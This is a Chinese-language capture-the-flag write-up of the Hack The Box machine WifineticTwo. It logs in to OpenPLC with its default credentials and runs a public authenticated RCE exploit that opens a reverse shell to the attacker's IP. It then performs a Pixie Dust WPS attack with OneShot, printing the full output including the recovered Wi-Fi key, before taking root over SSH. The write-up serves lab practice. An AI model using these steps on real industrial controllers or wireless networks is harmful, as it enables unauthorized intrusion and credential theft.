2024-03-18T05:45:42.png

靶机信息
系统Linux
IP/
难度Medium
状态Active/Reason 4
地址https://app.hackthebox.com/machines/WifineticTwo

端口扫描

┌──(st4rry🚀Kali)-[/mnt/e/htb/WifineticTwo]
└─\ ✨ nmap -p22,8080 -sC -sV  10.129.41.69 -oN cv
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-17 11:42 CST
Nmap scan report for 10.129.41.69
Host is up (0.37s latency).

PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
8080/tcp open  http-proxy Werkzeug/1.0.1 Python/2.7.18
|_http-server-header: Werkzeug/1.0.1 Python/2.7.18
| http-title: Site doesn't have a title (text/html; charset=utf-8).
|_Requested resource was http://10.129.41.69:8080/login
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 NOT FOUND
|     content-type: text/html; charset=utf-8
|     content-length: 232
|     vary: Cookie
|     set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.ZfZmzQ.6UlmCKjoB-AmIJgCDMG4x-79qp8; Expires=Sun, 17-Mar-2024 03:48:09 GMT; HttpOnly; Path=/
|     server: Werkzeug/1.0.1 Python/2.7.18
|     date: Sun, 17 Mar 2024 03:43:09 GMT
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GetRequest:
|     HTTP/1.0 302 FOUND
|     content-type: text/html; charset=utf-8
|     content-length: 219
|     location: http://0.0.0.0:8080/login
|     vary: Cookie
|     set-cookie: session=eyJfZnJlc2giOmZhbHNlLCJfcGVybWFuZW50Ijp0cnVlfQ.ZfZmyQ.lbz2QfNjQTFuSkFuxKEO4gN1aLc; Expires=Sun, 17-Mar-2024 03:48:05 GMT; HttpOnly; Path=/
|     server: Werkzeug/1.0.1 Python/2.7.18
|     date: Sun, 17 Mar 2024 03:43:05 GMT
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to target URL: <a href="/login">/login</a>. If not click the link.
|   HTTPOptions:
|     HTTP/1.0 200 OK
|     content-type: text/html; charset=utf-8
|     allow: HEAD, OPTIONS, GET
|     vary: Cookie
|     set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.ZfZmyg.JAsqwx-ljmh7zSKDzHAuU3cGS_k; Expires=Sun, 17-Mar-2024 03:48:06 GMT; HttpOnly; Path=/
|     content-length: 0
|     server: Werkzeug/1.0.1 Python/2.7.18
|     date: Sun, 17 Mar 2024 03:43:06 GMT
|   RTSPRequest:
|     HTTP/1.1 400 Bad request
|     content-length: 90
|     cache-control: no-cache
|     content-type: text/html
|     connection: close
|     <html><body><h1>400 Bad request</h1>
|     Your browser sent an invalid request.
|_    </body></html>
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 61.58 seconds

8080端口是一个web服务

目录扫描

啥也没有

GetShell

是一个OpenPLC服务,需要登陆,使用Google搜索一下默认密码
2024-03-18T05:46:10.png
默认账号和密码均为openplc,成功登陆到后台
搜索历史漏洞进行尝试
2024-03-18T05:46:22.png
找到一个需要认证的RCE
OpenPLC 3 - Remote Code Execution (Authenticated) - Python webapps Exploit (exploit-db.com)
需要对exp进行一个简单的修改

compile_program = options.url + '/compile-program?file=681871.st' 
改为
compile_program = options.url + '/compile-program?file=blank_program.st'

执行python3 exploit.py -u http://target-uri:8080 -l openplc -p openplc -i 攻击机IP -r 4444,并在攻击机上进行监听
即可成功反弹shell,在/root目录下找到了user.txt

提权

此时GetShell的ip地址

root@attica01:/root# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.3.2  netmask 255.255.255.0  broadcast 10.0.3.255
        inet6 fe80::216:3eff:fefc:910c  prefixlen 64  scopeid 0x20<link>
        ether 00:16:3e:fc:91:0c  txqueuelen 1000  (Ethernet)
        RX packets 13324  bytes 1052258 (1.0 MB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 7876  bytes 2761702 (2.7 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 1070  bytes 62168 (62.1 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1070  bytes 62168 (62.1 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

wlan0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
        ether 02:00:00:00:02:00  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

可能是一个容器内,这有个wlan0的网络接口
使用OneShot进行Pixie Dust attack

# 显示可用网络并在指定网络上启动Pixie Dust攻击：
root@attica01:/tmp# ./oneshot -i wlan0 -K
[*] BSSID not specified (--bssid) — scanning for available networks
Network list:
#    BSSID              ESSID                     Sec.     PWR  WSC device name             WSC model
1)   02:00:00:00:01:00  plcrouter                 WPA2     -30 
# 对指定的BSSID启动Pixie Dust攻击：
sudo ./oneshot -i wlan0 -b 02:00:00:00:01:00 -K
[*] Running wpa_supplicant...
[*] Trying pin 12345670...
[*] Scanning...
[*] Authenticating...
[+] Authenticated
[*] Associating with AP...
[+] Associated with 02:00:00:00:01:00 (ESSID: plcrouter)
[*] Received Identity Request
[*] Sending Identity Response...
[*] Received WPS Message M1
[P] E-Nonce: 34f7f76c988e19a4b4c2a43531a3d6b3
[*] Building Message M2
[P] PKR: 2c02dc64c7d76a2cd690cc5f756bf681c56d95d32fd8050df442bf6bab9c3081d3b5591393c269bc766845778fcf7cef214da8fb2ea04183848ea0abf8a88a120efb88211d99fe486ef3980f9081a954d225fcad9a84a490edb397b2e962693afef26329bf768afa0443e0a5e77c684d4cf873fe5eeacdb224444ee5046e9c5a5eceeb530fc71dd90c48df8dcbb1ae5acd306d678d9744327aa6c6e6b521aa04429fa068c28d09564ecc970cf7a4f2bed9c6a262a659bc7bad17e23bea0311f0
[P] PKE: 5fbc61dc00cfafcff6202605f0622f27f041576501be68f6432503de18b47c6d5ce823e4dcaaeddba54a93a63f3868fabdc712d264413e3caf9658b2aa53f70a0601bb628e4072ab7ae05819c2c022656312906ff288f305b1f38357c9090f372982732a0982a1252c031473931aa8e53f21f80d57c01fc6c23c043aeb5dd38347884a7f8460a3205dcbb9b378cb1b95a1f7a0ed95b6186bdbbec0dd4b9b6089814cb62d5b1afe4cce50f70c0ab7a409347bfae991c13cb73821fffb9ed498b3
[P] Authkey: 9478c8c582e0eeb502dd7db8bc8d73d3507155455235903aa0ae4965cc78d7ea
[*] Received WPS Message M3
[P] E-Hash1: ea8eed3fb6230878e95e38674aeb24d2177cd1ed5fa1dc31b946f18bf15cd65c
[P] E-Hash2: ac288fb434860d88d634b548a537ae9419800b96f1a4cab2f028c6faa28322a4
[*] Building Message M4
[*] Received WPS Message M5
[*] Building Message M6
[*] Received WPS Message M7
[+] WPS PIN: 12345670
[+] WPA PSK: NoWWEDoKnowWhaTisReal123!
[+] AP SSID: plcrouter

获取到了WIFI的creds:plcrouter:NoWWEDoKnowWhaTisReal123!
连接WIFI
配置文件/etc/wpa_supplicant/wpa_supplicant-wlan0.conf

ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=0
update_config=1

network={
  ssid="plcrouter"
  psk="NoWWEDoKnowWhaTisReal123!"
  key_mgmt=WPA-PSK
  proto=WPA2
  pairwise=CCMP TKIP
  group=CCMP TKIP
  scan_ssid=1
}

配置文件/etc/systemd/network/25-wlan.network

[Match]
Name=wlan0

[Network]
DHCP=ipv4

执行命令

systemctl enable wpa_supplicant@wlan0.service
systemctl restart systemd-networkd.service
systemctl restart wpa_supplicant@wlan0.service

查看wifi的ip addr

wlan0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.1.84  netmask 255.255.255.0  broadcast 192.168.1.255
        inet6 fe80::ff:fe00:200  prefixlen 64  scopeid 0x20<link>
        ether 02:00:00:00:02:00  txqueuelen 1000  (Ethernet)
        RX packets 15  bytes 2780 (2.7 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 87  bytes 10794 (10.7 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

管理员的IP地址一般为第一个192.168.1.1

ssh root@192.168.1.1

获得root.txt

Last modification：March 18, 2024
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